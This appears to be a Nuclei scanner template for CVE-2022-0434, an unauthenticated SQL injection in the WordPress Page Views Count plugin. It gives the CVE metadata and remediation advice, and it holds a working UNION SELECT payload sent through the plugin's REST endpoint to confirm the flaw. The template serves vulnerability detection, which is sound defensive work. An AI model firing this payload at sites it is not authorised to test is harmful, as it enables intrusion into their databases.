WordPress Page Views Count <2.4.15 - SQL Injection

id: CVE-2022-0434

info:
  name: WordPress Page Views Count <2.4.15 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability.  It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the WordPress Page Views Count plugin (2.4.15) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/be895016-7365-4ce4-a54f-f36d0ef2d6f1
    - https://wordpress.org/plugins/page-views-count/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0434
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0434
    cwe-id: CWE-89
    epss-score: 0.14783
    epss-percentile: 0.96708
    cpe: cpe:2.3:a:a3rev:page_view_count:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: a3rev
    product: page_view_count
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,unauth,a3rev,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5({{num}}),null,null%20--%20g HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200